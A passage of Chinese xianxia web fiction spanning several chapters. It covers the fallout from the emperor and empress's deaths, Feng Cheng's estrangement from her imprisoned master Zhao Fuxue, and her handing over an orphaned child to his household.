寸金接的及时,未曾叫人狠狠地摔在地上,他抬起头忧心忡忡道;“怎么办?师妹醒来,一定是又要去寻尊者的。” 赶来的赵年收回了手,她瞧起来也是突然便憔悴了,脸上竟然有几分堪称为茫然的神色。 一夜之间,帝后皆陨,而凶手拖着长剑,染着鲜血,毫不躲避地出现在了宫门之中。 思及此处,赵年又是重重地叹了口气。 宫闱之间,皆是禁言。 封澄醒转来时,眼前已经是一片漆黑。 “……” 我为什么在这里?封澄有些费劲地想着。 对……师尊。 这个念头回来的刹那,封澄一片死寂的心脏骤然像拉了闸一般剧烈跳动起来,几乎像是警报一样猝然冲击了她的大脑,她挣扎着爬下床,感觉到汹涌暴戾的灵力冲击着每一条脉搏,几乎刺得她骨肉生疼。 “阿澄,阿澄。”一中年女子声音和缓,“你看看我,看看我是谁?” 封澄抬起头来,看见面前模模糊糊的人影。 “……年院长,”她道,“我师尊呢?” 赵年的手顿了顿。 “帝后是谁杀的?”她涩然道,“是我师尊,对不对?” 赵年重重地叹了口气,摸了摸封澄的头。 “还没有查明白,”她道,“昨夜八方也出动了,帝后却仍是离奇殒身,此时本该归京城天机所查案,结果本该统领天机师的赵家……” 她又重重地叹了一口气。 “不说这些了,尊者托我交给你一样东西。” 赵年觉得封澄直愣愣地听着,好像成了一个呆呆的小木偶一样,不免心头有些痛惜,她低下头,从储物袋中取出一物。 “这是你身上那东西的解药,”赵年道,“尊者送来此物时,说,此药可解一次香,却不能解第二次香了,叫你日后万万当心。” 封澄怔住了。 她慢慢地接过了赵年手中的瓷瓶,中间隐隐的药香扑来,令她灵台突然便清明了。 “香?” 她垂了垂眼睛,“我身上中了香?是什么,长醉么?” 是什么时候中的,是什么时候开始反常的,封澄只略微一回想,便想明白了。 姜允给她下了长醉。 可姜允为什么要给她下长醉?还是连赵负雪都不能解第二次的长醉? 越想越头痛,封澄忍不住嘶了一声。 赵年不语,片刻,低头,从腰间取了一只腰牌。 “还有这个。”她的目光有些复杂,手在储物袋中停了停,才慢慢地伸出来。 她的掌心停着一枚令牌。 封澄看过去:“这是?” “……赵氏家主令。” 封澄本欲接过的手僵在了半空中,赵年艰难道:“毕竟,毕竟那么多人看着尊者从帝后寝宫走出来,无论是八方,还是天机所,都需要一个交代,尊者一时半会回不来,有家主令庇护,整个赵家都会站在你身后。” “……” “按说这种令牌是要认主的……可尊者说,你能直接调用,试试看。” 室内一片寂静,沉默许久,封澄深吸了一口气,把令牌重新递了回去。 “我现在能不能见到师尊?” 赵年愣住了。 “能见,”她连忙道,“我去递信,尊者允的话,你今日便能见到了。” 封澄重重地躺回了床上。 “求您尽快,”她双手死死地捂住了脸,“我一刻也等不了了。” 第126章 第126章擅使长枪的血修 天牢潮湿阴暗,即便是火属性的修士,仍觉难挨。 封澄站在外面,已经等了半日,终于等出了通告的士兵,心头一喜,士兵却道:“封姑娘,请回吧,尊者不肯见你。” 心脏重重地砸下去,砸得封澄心头一窒。 “你一定是没有说清楚,”她道,“我是——” 卫兵面无表情地点了点头,紧接着打断了她。 “是你,尊者不肯见你。” 封澄心中刚刚升起的那点希望落了回去,她不死心,仰起头又道:“你转告他,我明天还会来的,明天不见我,我就后天来,直到他肯见我为之。” 士兵面无表情道:“封姑娘,尊者还有一句话令我转告。” 封澄闭了嘴,专注地听着。 他说:“在他离开天牢之前,他都不会见你任何一面的,以后也不要过来。” 封澄傻了,她只觉得胸口与脑子嗡嗡地响成一片,不过一日,不过是她进了一次宫,所有的事情便荒谬无比地翻覆了。 留京一年的种种设想尚未来得及实施,已经成了一摊狼狈的泥。 只剩一个滂沱的雨夜。 甚至封澄不由自主地想,是不是还没睡醒?是不是还在做梦? 士兵冷冰冰地看了看天色。 “早些回去吧,最近宫中夜间禁止出行。” 封澄不死心地抓住他:“不让我进去也行,我 可以等,多久都可以,我师尊……赵负雪,他多久能出来?” 士兵停在原地,片刻,转过头来,目光中有几分莫名的悲悯。 “小姑娘……我比你多吃了几十年饭,天牢门口,见过的人和事多啦。此时劝你一句,回吧。这都是大人们的事,你一个小孩子,即便着急又如何?凭空变出一支军队,然后带兵踏破天牢的大门,把你师尊生生捞出来?” 封澄愣愣地听着,半晌,他又叹了口气。 “赵氏家主,找遍整个大夏,又有什么人敢动他呢?他不肯见你自是有他的缘由,你又何必自寻苦恼?姑娘便听他的话吧,总归是关不了多久的,尊者一切都好。” 士兵这么说着,轻轻摇了摇头,叹了一口气,随即才转身走回了天牢中,徒留封澄沾在原地,半晌,轻轻地低下了头。 小孩子,着急没用,什么都做不了。 “他一切都好?” “一切都好。” 只是不见她。 “……我知道了。”封澄转过头去,慢慢地走向了宫门。 马车辘辘,走到半程,她才发现掌心中不知何时多出了几枚新鲜的血迹,弯弯的红月牙般,清晰而刺痛地印在了掌纹上。 她低头看着,半晌,疲倦地靠在了车厢上。 生命线被鲜红的血印剖成两半,曝出半片翻卷的皮肉。 **** 与此同时,鸣霄室中却是另一番景象。 何守悟本想飞快记诵几本典籍,然后立即抽身,忽然不知碰到了哪里,霎时间,书房中出现了一扇暗门。 他抬头一见,双手发抖,目光笔直,却忍不住地吞了吞口水。 “暗门……”他喃喃道,“机关术?” 密室的门以机关术封锁——而这正是他为数不多所擅长的,可打开密室之后,何守悟却忍不住地后退了一步。 里面不是他预想的珍宝秘藏,也不是奇书宝册,而是密密麻麻地、紧密排列的傀儡偶人。 洞口亮的一瞬间,数以千计的、大大小小的、神态各异却相貌如一的偶人齐齐地看向了他。 何守悟登时蹿出了一层鸡皮疙瘩。 这些偶人他也曾听说过,是民间一种名为机关傀儡的邪物,趁邪而入,因欲而生,随后捕食宿主神魂,渐渐地为己所用,入魔者百折不挠,修道人嗤之以鼻,原因无他——这玩意危害虽大,祛除却实在简单,只需要把突然出现在身边的机关偶人碾了就是。 明明是一呼百应的修仙世家的家主,却放任数以千百计的偶人出现在了自己的身边,不光一个都没有抹杀,还全部妥帖地藏了起来。 最令人毛骨悚然的,便是这偶人的脸。 何守悟心头的惊异与轻微的恶心压得他有些目眩,缓了缓神,察觉到光源的偶人们似乎有些蠢蠢欲动,他登时一激灵,回过神来,飞快地伸手复原了暗室的门,妥帖得仿佛从来没有人动过一样。 “封澄,”他喃喃道,“全是封澄。” 诡异却独一无二的解释缓缓地升上了何守悟的心头。他突然便回想起了赵负雪与他唯一一次的接触,原先心中的困惑霎时间无比清明。 难怪从长辈的口吻来说,赵负雪的敌意实在有些过重。 那不是一个师长对于晚辈的口吻,而是出自一个情意不得见光的无望者所说。 亲眼瞧见如此不伦之情,何守悟一时心乱如麻,他乍一见,只觉惊诧恶心,再一想,本能般的算计便使他站在了原地。 他若有所思地摸了摸下巴。 天赐机缘,这张牌若是用得好了,大概会是一张出人意料的王牌。 **** 赵年不放心封澄独自回鸣霄室,更怕空荡荡的鸣霄室把她这条吹弹可破的脑筋彻底拉断,可从马车中接下封澄后,赵年原先预想的种种状况却一桩也没发生。 封澄乖乖地走进了她的寝室,然后在床上蒙上头,昏天黑地大睡了一场。 陈还看着睡梦中仍紧蹙眉头的封澄,忧心忡忡道:“师尊,她睡这么久,没事么?” 赵年没有说话,只看着封澄。 陈还见状,心知今日又是无言的一天,于是便默不作声地撤出了寝居。 姜允身死于赵负雪之手,姜家也是一片动荡,姜徵走时脸色惨白,甚至只带走了随身的佩刀,连告别的话都没来得及说出一句。 从前的山一直是长辈们替她担着,或是疼爱她的姨母姜允,或是纵容她来到天机院修学的姜氏家主。 姜允从来疼爱她,她现在好么?陈还突然不由自主地想。 顿了顿,她又摇摇头,把脑中这道突兀又没有理由的想法狠狠地甩出了脑中——姜徵还缺人疼爱么?死了一个,自有千万个人上赶着去疼她,即便是天塌下来,姜大小姐也能镶着金边过着纸醉金迷的日子,她一个结了业不知道往哪儿谋生的穷学生,犯得着担心她么? 她自嘲笑笑。 要见她的话,等屋里头那个半死不活的封澄醒来,死皮赖脸地跟着去一趟姜家就是了。 陈还心很大地想开了,她不知是做了鸵鸟还是如何,总归心头的纷乱与阵痛一概扫得无影无踪,甚至打算去后街的铺子里打一碗糖水来放在封澄的床头。 无论如何日子都是要过下去的,天塌下来,夹缝里活,也是活。 “事情一定会慢慢地变好的,那些金贵的大人们也会解决一切的。”陈还自欺欺人地想。 朝堂动乱,消息却捂得紧密,民间还是如寻常般繁衍生息,卖糖水的老摊子前甚至排了更远的队,陈还杀了价,打了满满两碗糖水,摇摇晃晃地晃进了赵年的寝居中——现在是封澄睡着的地方了。 屋中没有禁制,出门时,陈还正好碰到赵年向外走,她忙道:“师尊。” 赵年点了点头,把阵盘交给她:“你来得正好,我走后,你把阵符引起,把这件屋子封死,封澄要是没醒最好,若是醒了,你就说无论什么事都等我回来说,听到了吗?” 陈还点了点头,接过了阵盘:“没问题,师尊你要去哪里?去多久?” 赵年道:“去封了赵先生的鸣霄室,以免闲人误闯,这些日子便让封澄住在我这里,省得一个人孤零零的乱想。” 那就是很快了,陈年放下心来,手上端着甜水不便启阵,她便左手端茶水,右手拿阵盘,回屋先放下甜水再开阵。 走到床前,封澄平静地闭着眼睛,看起来睡得很香,陈还把甜水放在床头,忍不住叹了口气。 “折腾自己算什么事呢,像这么一无所觉地睡着多好。” 这个想法还未在脑中过一个来回,忽然间脑后便有一阵劲风袭来,紧接着陈还眼前一白,霎时缓缓地软倒在了地上。 昏过去前最后的画面,是封澄冷硬而毫无表情的脸。 她临走前端起了桌上的甜水,一口喝完。 “对不住了。”封澄道。 天牢门口的士兵说得对,一个一无所有,浑身上下只有一把剑的孩子,是什么都做不成,什么也不配知道的。 夜晚的长风刮得城门旗帜猎猎作响,封澄没有回头,她御剑登上城头——这是除夕当夜,赵负雪与她共同修补过的城头。 年夜的大雪纷飞,终究是化作了一片泥泞的春泥。 “终有一日,你不会有擅自做决定的资格。”封澄憋着一股气想。 “封澄!” 她听见有什么人在城头惊慌失措地唤她。 长生是把好剑,剑身轻盈,一日千里,即便是成名的剑修亦追不上,更何况是不善移动的阵修,封澄只深深地看了赵年一眼,随即头也不回地投入了漫漫长夜之中。 赵年被这一眼定在了原地,于是陈还气喘吁吁地爬上城楼时,便只见到自家师尊径自出神的脸。 “师尊?”她小心翼翼问道。 “……回去吧。” 赵年突然觉得,已经擅自逃得很远得、被她看着长大的小孩子,突然便开始令人熟悉了。 她开始像那个在大劫中陨落的、擅使长枪的血修。 第127章 第127章自始至终,也就那么一…… 子夜巡空,无见黎明。 浓重的血腥味与令人作呕的魔气开始翻涌,众人尚且在方才转瞬发生的一切中回不过头,见从天而降的持劫,迟钝地眨了眨眼睛。 寂静的空气中,只有小孩子不明白发生了什么,由且睁着圆溜溜的眼睛。 持劫拍了拍手,毫不躲闪地举起手投降道:“我可没有今天就打起来的觉悟,只是多年未见,来看一看你。” 封澄的声音几乎是从牙缝中迸出来的:“想来就来,想走就走?” 话音落在“走”上时,一杆长枪如龙,已经闪电似的送到了持劫的身前,谁料持劫毫不躲闪,迎面接了封澄一枪,枪尖刺破血肉,发出一声令人牙酸的闷响声 ,持劫浑然不觉似的,又拍了拍手。 “当然不是,这副身体送你,吃了或者用了都行,算我买她的命。”他道,“但这个人嘛……我要带走他。” 黄笳悄然无声地站在了他的身后。 持劫微微笑了:“你要记得,只有你和我,才是彻头彻尾的同类。” 封澄头皮一紧,心头霎时升起不妙的预感,黄笳站在持劫身后,忽然四肢便抽缩扭曲,紧接着就在众目睽睽之下,扭缩成了一只枭鸟的模样。 翅羽摩擦,抬起头尖啸不已。 持劫微笑着勾起了嘴角,紧接着,毫无预兆地向下一倒,漆黑的枭鸟应声而起,霎时间漫天黑羽,转眼便不见了。 留在众人面前的只有两副新鲜带血的尸身,一副妇人的,一副持劫的。 孩子迷茫地站着,她本能地靠近身穿柔软衣物而不是冰冷战甲的寸金,小心翼翼地抱住了他的腿。 一室之中,静了许久,寸金偏过头,轻声道:“将军,如何安置。” 封澄闭了闭眼睛。 “何家妇人带会营地安置,下面拴着的血修就地杀了一烧,也别耽误我们带人了。” 至于持劫—— 封澄回头看了看寸金。 “一会儿回营地,把持劫的眼睛给寸金装上。” 人形天魔的血肉,是真的有“生死人,肉白骨”之效,同样的,从它们尸身上取下来的部件,也能原样用在活人身上。 而持劫的身体,效果只会更好。 剩下的尸身? 封澄垂了垂眼睛。 “放到天祭坛去吧。” 秦楚沉默着上前,手起刀落,剜出了一对带血的眼珠,递给了封澄,封澄将眼珠妥善收入怀中,正要离开,寸金忽然间抱起了孩子。 “盛家一个活口都没有了,这个孩子怎么办?” 封澄回头看了一眼,一时间有些心力交瘁。 孩子从来是最难安置的问题,尤其是这个从何家逃出来的孩子,原本能庇护她的族人一个不剩,而这么大的娃娃若是跟她们回了天机营,衣食起居与安全就更难以保证了,只会过得更差。 庄儿看着她,眼中有几分懵懂,又有几分抑制不住的惊恐。 她年纪太小,尚且不知大人之间的弯弯绕绕,也读不懂母亲带她出逃的勇气,作为凡人世家中突兀而怪异的修士,何庆一无所知地背负了全族的血债,却又堪称奇迹般地活了下来。 话说回来,不过是个生了点仙根的孩子,犯得着何守悟这么追杀么? 封澄总觉得这事没这么简单。 于是她叹了口气,戳了戳庄儿,道:“何家势大,今日能派血修灭了盛家,明日也能灭了别人家,只能送她回洛京了。” 寸金沉默着摇了摇头。 “洛京也无一处万全之地了,”寸金道,“将军死后不久,天机院便被从头到尾清算了,眼下其中已全是朝廷鹰犬,再也托付不得。” “……” “天机军被清算之时,其余的‘违逆余党’大都避祸隐世,眼下能与何家相抗的,十之无一。” 封澄噎住了。 她喃喃地扶住了头。 一死五十来年,生前即便是乱世,那也是熟悉的乱世,至少不至于连一个孩子的去处都安排不得,眼下的处境,令封澄切实尝到了“沧海桑田,时过境迁”是什么滋味。 难道这孩子真得跟着他们在边关吃沙子? “……将军?” 封澄叹了口气,突然间想到了一人,纠结许久,咬牙道:“这孩子,送赵家去。” 秦楚:“……???” 她小心翼翼地觑了封澄一眼,千言万语欲言又止地在喉咙里滚动。 ……是她所想的那个赵家么。 封澄纠结得要命,总觉得送哪都不放心,眼下还真就赵家一个能安置孩子的地方了,于是拍板:“就这么定了,赵负雪装死多年,总不至于装到连个孩子都养不了的地步。” 话虽如此,可秦楚还记得当年的封澄对赵负雪是绝口不提的,怎么死了一次回来,倒还想起托付他来了? 她摇了摇头,抬眼道:“谁去送?” 总归人已经死而复生地站在了这里,这是她从前连想也不敢想的好事,至于中途发生了什么,她又是如何活过来的,这些都不重要了。 看着目不能视的寸金,懵懂无知的何庆,以及门外严阵以待的天机旧部,封澄缓缓地陷入了沉默。 **** 第三日清晨,鸡方叫了三声,赵氏宅院前的旧址便被轻轻地敲了几下。 一行两人,皆包裹得严严实实,何庆抓着黑衣人的手,似有所觉,抬起头来脆生生道:“姐姐,你的手怎么湿漉漉的啊?” 封澄冲她比了个嘘。 此时她不光手心是湿漉漉的,背后也是湿漉漉的,哪怕做了厚重的乔装,她仍能觉得心虚的冷汗一层一层地往外冒。 前不久才从赵氏旧宅里一声招呼都不打地逃了出来,眼下就重新跑了回来。如若是从前也就罢了,封澄从来脸皮比墙厚,这根本算不得什么,最多不过挨几句嫌弃。 可眼下呢,赵负雪那副样子着实令她愁得挠头,她闭了闭眼睛,只求今日赵负雪贵人多忙,不要突然出现就好。 片刻,门吱呀一声打开,来者踏出一步,恭敬道:“这就是封将军的使者吧?令牌我已送进去看过,请进,尊者已在等着了。” 封澄不动声色地把冷汗往何庆的兜帽上一擦。 怕什么来什么。 赵氏的庭院看得出是旧时的东西了,它并不太像赵负雪的风格,威严耸立,不容冒犯,连带着假山花石等物也是宝相庄严的模样。封澄低着头,跟着侍从的脚后跟,紧紧地抓着何庆的手,佯做陌生模样,亦步亦趋地走在这条过分熟悉的石板路上。 片刻,正堂送到。 封澄站在不远处,便嗅到了过分熟悉的冷香气。 气味是最为隽永、也是最突然的记忆。 刹那间,困在冰室中的日日夜夜齐齐涌上了封澄的心头。 这冷香气曾裹着附在耳边的呢喃,不知疲倦、日日夜夜。 登时令她忍不住想要拔腿就跑。 偏生屋中响了一声:“既然来了,还在外面站着做什么。” 听起来有些困倦,有些疲惫,封澄定了定神,她伸手摸了摸脸上装饰,自认是神仙祖宗再造父母来都认不出这张脸了,才大马金刀地走了进去。 她低着头进去,眼前只能看见一道雪白的衣角。 封澄觉得很久没有这么紧张过了,连带着伪装过的嗓子都在打颤,她把令牌与孩子一同交了过去,哑声道:“人已送到,小的回去复命,不便久留。” 何庆小心翼翼地站在赵负雪眼前,赵负雪居高临下地看着她,似乎是沉默了一瞬,然后点了点头。 看起来是蒙混过关了。 封澄松了一口气,大喜过望,就要转头离开,忽然间身后响起一道冷声:“你们将军近来可好?” 她背后一僵,定了定神,才回过头道:“将军一切都好,托我向尊者问安。” 赵负雪又 点了点头,随即垂眸,封澄眼观鼻鼻观心,知道这是让她退下的意思了,当即如蒙大赦地转头要走,谁料这一转头,赵负雪又道:“她有没有话带过来。” 一惊一乍,几乎要把封澄吓恼,她咬牙想:“能不能一次性把话说完?”人却是转过了身,又恭敬道:“将军问您身体康健否。” 赵负雪慢慢道:“哦?那你方才为何不问。” 封澄几乎要骂人了——她从前竟不知道赵负雪是这等絮絮不绝者! “我见尊者花容月貌,体态矫健,灵力周全,自是康健,眼见为实,所以不必问。”她咬牙切齿道。 话音未落,座上突然传来了一声极轻的笑。 “抬起头来,”他道,“让我看看你。” 这副尊容只怕辣了他老人家的眼,封澄咬牙抬起头来,目光与赵负雪的对上,他似乎是对这张丑脸很感兴趣似的,上下梭巡,目光几乎称得上是目不转睛。 良久,他才道:“退下吧。” 封澄求之不得,连忙跑了。 只留赵负雪坐在远处,意味深长地看着封澄背影。 “花容月貌,”他把这四个字念了念,仿佛这四个字里缀着蜜糖一般,只听得何庆蹿出一层冷汗来。 “还是死性不改,”赵负雪喃喃道,“这种话,岂是能从旁人嘴里出来的。” 敢当面垂涎他的颜色,还垂涎得毫不自觉的,自始至终,也就那么一个混账。 第128章 第128章废稿的婚书 侍从将蒙面的使者送出了赵府大门,沉重的木门合上,赵负雪才将视线移向了脚边瑟瑟发抖的小丫头。 很小一个,抖若筛糠。 他不免有些头疼,一时不知道封澄千里迢迢亲自护送过一个小崽子来是要做什么。 于是他平和地问道:“你叫什么名字?” 小崽子低着头不看他,不知是不是赵负雪的错觉,他觉得这个小崽子好像已经吓哑了。 看来是问不出话了,他皱了皱眉,忽然间一人闯入:“哎,师兄,小封的踪迹找着了——嗯?哪来的孩子。” 祝京好奇地倾身看了过来。 何庆一路上又惊又吓,为数不多的安全感皆来自于在她身边的封澄,这几日间,她甚至只有偷偷蜷在封澄身边才能喘得过气来,现如今封澄一句话都不说地将她丢在这陌生的庭院中,幼小生物的天生本能令她对座上的人恐惧无比,眼下又多了另一个陌生人,登时,她嘴一扁,小声地抽泣了起来。 豆大的眼泪滚滚地往下掉,她慌忙去擦,却又擦不尽,要止住惊恐,又实在害怕。这小兽一样的孩子连哭都无声无息的,好像生怕惊动了什么似的。 祝京吓了一跳,手足无措地擦眼泪:“哎,这是怎么回事,她爹娘呢?” 赵负雪揉了揉眉心,顿了顿,道:“这是阿澄送来的孩子。” 祝京本来要抚摸小丫头的手僵在半空,他惊恐地转过头来;“我说怎么眉眼间有点儿小封的模样,她才多大,孩子这么大了,给你来养?” 赵负雪一言难尽地看着他。 “送来”这两个字好似被他选择性生吞了。 祝京一想不对:“这时间也不对啊,她才醒了几个月,又去长煌搞了那么多事,就算有孩子,也是你生才对。” 赵负雪:“……” 祝京吃惊:“你这什么表情,真是你生的啊?” 一片死寂。 赵负雪手指敲了敲茶案,很想打开祝京的脑壳看看里面到底有什么东西,他耐心道:“想法很猎奇,没想过捡孩子这个可能性吗。” 祝京的嘴比洛京最乱的马路还要乱,一张嘴便是常人难以企及的地步,他哦了一声,蹲下身来稀奇地看着何庆,有些手痒道:“捡着个这么像的,也是缘分……你告诉哥哥,你叫什么啊?” 赵负雪冷冷道:“恬不知耻。” 祝京仗着脸嫩,完全不顾自己是和赵负雪一个辈分的人,大肆行骗,硬是厚着脸皮叫何庆管他叫哥哥,他不满道:“老赵,求人办事呢,就要有求人办事的态度。” 赵负雪看了他一眼,沉默地喝了口茶。 何庆实在懵懂,见了这个相对和蔼的年轻男子,觉得他比座上那位喜怒无常捉摸不透的实在是正常太多,殊不知这更是一位不要脸的老狐狸,犹豫片刻,她还是开口道:“我叫何庆,洛京人士,我爹叫何耀,娘叫盛安。” 此言一出,祝京脸色一变。 他抬起头,眼中霎时多了几分锋芒:“何耀?这是何家的人?可这丫头分明是个修士,何家八辈子凡人,什么时候生出来了个修士?” 赵负雪凝神看了一眼,若有所思道:“她身上虽有灵力,波动却与修士不同,看起来并非天生,而是外力所致。” 话音方落,祝京脸色变了。 能让一位凡人拥有灵力的外物,若是出现在人间,该掀起如何哗然。 “何……你爹娘呢?”他低下头道,“为什么你会和封将军走到一起呀?” 何庆小声道:“……他们说,爹娘被吃血的怪物带走了,要我听话,才肯回来见我,封姐姐叫我别怕,还杀了怪物。” 吃血的怪物? 祝京变了脸色;“血修?可朝中血修与何家沆瀣一气,他们怎么会对何家的孩子下手?” 赵负雪皱了皱眉,沉吟片刻,才道:“阿澄向来不做无用之事,既然保她,自有保她的道理。我只管护好她托付的人。” 祝京闻言,点了点头:“正好我偏院里还剩个屋子,这孩子我来照顾如何?瞧瞧,怕你怕成了什么样子!” 何庆小心翼翼地往祝京身后缩了缩。 赵负雪垂眸;“在赵府之中,不得出门。” 祝京道:“没问题,总归这洛京也没我的容身之处了,哎,小封的踪迹找到了,你要不要啊?” 赵负雪垂眸:“也不必找了。” 祝京:“?” 赵负雪道;“孩子是她亲自送来的。” 祝京的脸缓缓地,缓缓地傻了起来。 “她还肯回来见你?”祝京看着赵负雪的表情好似在看杀到马路中央的天魔,“你把人家关在了冰室里头,一关就是这么久,一边当着人师尊,一边心怀不轨,哎,这样她竟然还肯见你?” 赵负雪微微闭上了眼睛。 “反咒解开后,我再未做过她师尊。” 祝京一噎。 他大概知道反咒是什么时候解开的。 数年前,赵负雪的身体已经千疮百孔,撑不住灵力的溃散,作为灵力溃散的结果,赵府内外常年凝着永冻的灵流,有眼之人皆看在眼中,随着灵流逐年的汹涌,赵负雪殒身的坊间传闻也尘嚣甚上。 就连他也知晓,赵负雪撑不了多久了。 可突然之间,他的身体便奇迹般的好转了,永冻的灵流化解,赵府解封。 与此同时,却传来了封澄阵亡的消息。 反咒是在消息传来的前一日黄昏解开的,算算时间,大概就是封澄阵亡的时候。 思及此处,祝京心头不知是什么感觉,只觉得酸涩得厉害,不由得问:“喂,你日后什么打算?” 赵负雪头也不回道:“你问这些做什么。” 祝京心中有些茫然,他摸着一旁何庆的头,沉默片刻,道:“这世道虽乱,可再乱的世道,也有人能安享桃源,无论是凭你还是小封,若想避世隐退……大抵会过得很好。” 闻言,赵负雪却很轻地笑了笑。 “以为我未曾想过?” 祝京又沉默了。 片刻,赵负雪道:“只要边关仍有天魔作乱,她便不会停手——说来荒谬,当年阿澄一意孤行逃去天机参军,为得倒不是什么看不见摸不着的世人天下。” 祝京没精打采地问道:“那是为了什么?” 赵负雪淡淡道:“她想以军功立身,然后去赵府提亲。” 祝京回过神来,震撼无比地抬起了头,他看了看赵负 雪那张平静地说着天崩地裂之语的脸,随即缓缓地捂住了何庆的耳朵。 何庆茫然:“?” 做完这一切后,祝京震撼无比地控诉:“你脸呢?” 话一出口,他便后悔了——此人这张脸极为气人,看着这张脸,大抵便能理解封澄当年起了贼心是什么原因了,再加上此人大概有意勾引,往后种种,实在是合理至极啊。 “祸害。”祝京心如死灰地想着,于是他又改了改:“我的意思,做人大可不必如此往自己脸上贴金,人家亲口和你说了吗你就这么想!?就不能为了家国大义去?” 赵负雪淡淡地瞥了他一眼。 “她当年想过提亲的,”他道,“册封镇北将军的当日,婚书都拟好了。” 祝京又沉默了。 ——如果册封当日封澄当年送出了婚书,举世应当哗然,可他参与了册封典仪的全程,并不记得有这么一环,所以这封婚书,大概是没有送出的。 镇北将军府被抄后,天机卫在封澄书房暗格搜出来几卷陈旧的绵纸。 当时奉命抄家的天机卫如临大敌,只当是谋逆通信的重要物证,事态紧急,原封不动地送到了赵府案头。 是借着酒劲写的,几卷纸已经陈旧得脆了,墨迹也干得枯槁。 上面所写横七竖八并不端正,也并非天机卫所以为的谋逆传信。 而是一打废稿的婚书。 写婚书的人大概是醉眼朦胧,所以行笔连抖带飞,写到一半,又心慌意乱地胡乱涂抹,所以字迹便分外地难以辨认。到了最后,数张笔墨糊得狼狈,唯有最后空落落的一片白纸酒迹,干干净净地写了两个紧挨在一起的名字。 她当年的确是妄想过的。 祝京又沉默了,他很是心累地叹了一口气,万万没想到天机院最靠谱的孩子前脚才游刃有余地在宫宴中扮演少年才俊,后脚就偷偷钻进了书房大逆不道地写了落款是师尊的婚书,此等荒谬之感,叫他恨不得回到宫宴当日,把敬封澄年少有为的那杯好酒连杯带壶地泼到赵负雪脸上去。 想想当年封澄如何礼数周全,想想这人当年如何道貌岸然,他不由得从心底赞叹,这俩人不愧是师徒,演起来一个赛一个地像正常人。 “我是正经人,现在要带着孩子回去了,”他愤愤道,“再多听一句,小孩就要做噩梦了,现在城门没关,与其在这里向我……向我炫耀,不如趁早想想怎么叫她肯见你一面。” 说罢,他转过头去,带着小小的、不明所以的何庆,大摇大摆地出了屋子。 人一走,屋子便格外地空,赵负雪垂下眼睛,忽然便想起了封澄乔装打扮过的脸皮。 丑得惊人,唯独眼睛看向他时,带着连她自己也未察觉的专注和笑意。 与此同时,三里之外的街道上,封澄的脖子上却被架了一把剑。 剑的主人声音沙哑:“你是谁?” 第129章 第129章骨节 剑身极薄,泛着不详的青绿色光泽,明眼人一瞧就知道是喂了毒的东西。封澄感觉背后蹿出了一层白毛汗——这倒不是怕死,而是背后贴过来的那人实在是太冷了。 他的呼吸都像带着冰碴子,即便是赵负雪也没有这么冷,这份寒意简直像是从阴曹地府里爬出来的。 她举起双手,示意自己无害:“这位……这位朋友,该我问你才对吧?我好端端在大街上走着,你拿着一把剑来就架在我脖子上?” “少废话。”剑身往她皮肤里紧了紧,“你是……你为什么和我一模一样!” 封澄额头上缓缓升起一个问号。 怎么,这张丑脸还能撞吗? “误会了,”她道,“这不是我的脸。” 谁知背后的人更暴躁了:“我不是说脸!——我问你,你的灵力为什么和我一模一样!” 封澄悚然一惊。 修道之人中,是有人能透过躯体的遮蔽,看到灵力的本源的。 可拥有这种极为强悍的能力是难于登天的,不是功力庞然、且道心极稳的修士,便是天生的奇兽异人,身后那人虽身上冰凉,灵力波动却近乎于微,几乎像个凡人。 是了,无论正道魔道,往剑上喂毒从来都是最令人不齿的行径,若非毫无自保之力,又岂会如此。 剑身又往脖颈暴躁地一压,那人恨声道:“你知道我说的是什么,快说!这世上怎么会有人的灵力如此相似!” 封澄的大脑飞速运转,她在脑中过了一遍,片刻,果断地做出了决定。 “进去说,”封澄当机立断地转过身,一掌便把淬着剧毒的长剑折了,那人还来不及惊呼,颈上便被封澄一提,她迅速找了就近的茶馆,道:“要一间二楼的屋子,安静些的,我们说话。” 伙计忙应了一声,封澄一摸腰包——银子不多,于是伸手去摸那人的腰包,一捏,也是瘪的。 封澄:“……” 见了鬼了,出门撞穷鬼。 她叹了口气,从储物囊中取出了为数不多的银子,拍在了柜台上,道一声:“不必上来伺候。” 然后便窝着一肚子火,提着穷鬼上了楼,一把把人甩进了茶室,穷鬼见状就要张嘴大喊,还没出声,封澄便盯着他阴恻恻道:“敢出一声,我拔了你舌头。” 穷鬼:“……” 他弱弱地闭了嘴。 她这才认真地看清了穷鬼的脸,从身架骨骼来看,这应当是一个青年男子,脸部有大片的狰狞疤痕,而没有疤痕时,应该也是个样子不错的俊美男子,封澄把人捏着下巴转了转,心下了然——这些疤痕不是火烧不是刀砍,更像是用毒所生的毒疮疤痕。 在打量这男子时,他也在偷偷地打量封澄,眼珠悄悄地转,封澄瞧见了他的小动作,啧了一声,拽了个帕子擦了擦手,道:“送你毒药的人没给你毒疮的解药吗?” 穷鬼讷讷不语。 封澄不耐道;“我要问你几句话,你可以说话了。” 穷鬼没说话,陡然地,屋中响起了一声突兀的“咕咕咕”声。 封澄:“?” 哪来的声音? 穷鬼脸色有些红,他捂住了自己的肚子。 封澄:“……” 天杀的,这不是穷鬼,这是饿鬼。 洛京茶馆的价格对得起它寸土寸金的地价,连带着一盘包子的价钱都涵盖了皇城根下的地租,贵得理直气壮。封澄拿死鱼眼看着嘴里塞满了包子的穷鬼,他吃得两个腮帮子鼓鼓囊囊的,好像一只狰狞的松鼠。 “喝点水,”封澄道,“别噎死了。” 他呜呜两声,口齿不清道:“好吃,好吃。” 封澄若有所思地敲了敲桌子,“第一个问题,你的灵力和我一模一样?” 他不语,半晌,不太情愿道:“为什么要和你说?” “……” 她抬手就去抽盘子。 穷鬼连忙护住盘子:“我说我说!我什么都说!其实吧,我也不知道我的灵力从哪儿来的,醒来的时候,我身上灵力十分微弱,我大概只是年岁能比普通人活得久一些,没有半点打架的能力。” 他吞了吞包子,喉结上下滚动:“而且我脑子里空空的,连自己叫什么都不知道,肩不能提手不能扛,娇贵得和公子一样,连去码头抗大包都没人要我,除了不久前醒过来时就在身上的这把毒剑。我对我的前尘一无所知。” 封澄定睛看着他,他继续道:“世上芸芸众生,从没有两个人的灵力是一模一样的,我今日碰巧在大街上看见你,还以为你会知道些什么呢——结果你什么也不知道。” 瞧着不像是说谎的样子,封澄顿了顿,把盘子松了开。 他大喜过望地吞着包子。 “世上没有两个人的灵力是一模一样的。”她喃喃沉思,半晌,抬起头道:“你得和我走。” 穷鬼不满道:“不过吃你几个包子,问句话就算了,我的剑折了都没叫你赔,你还想怎么样啊?不去。” 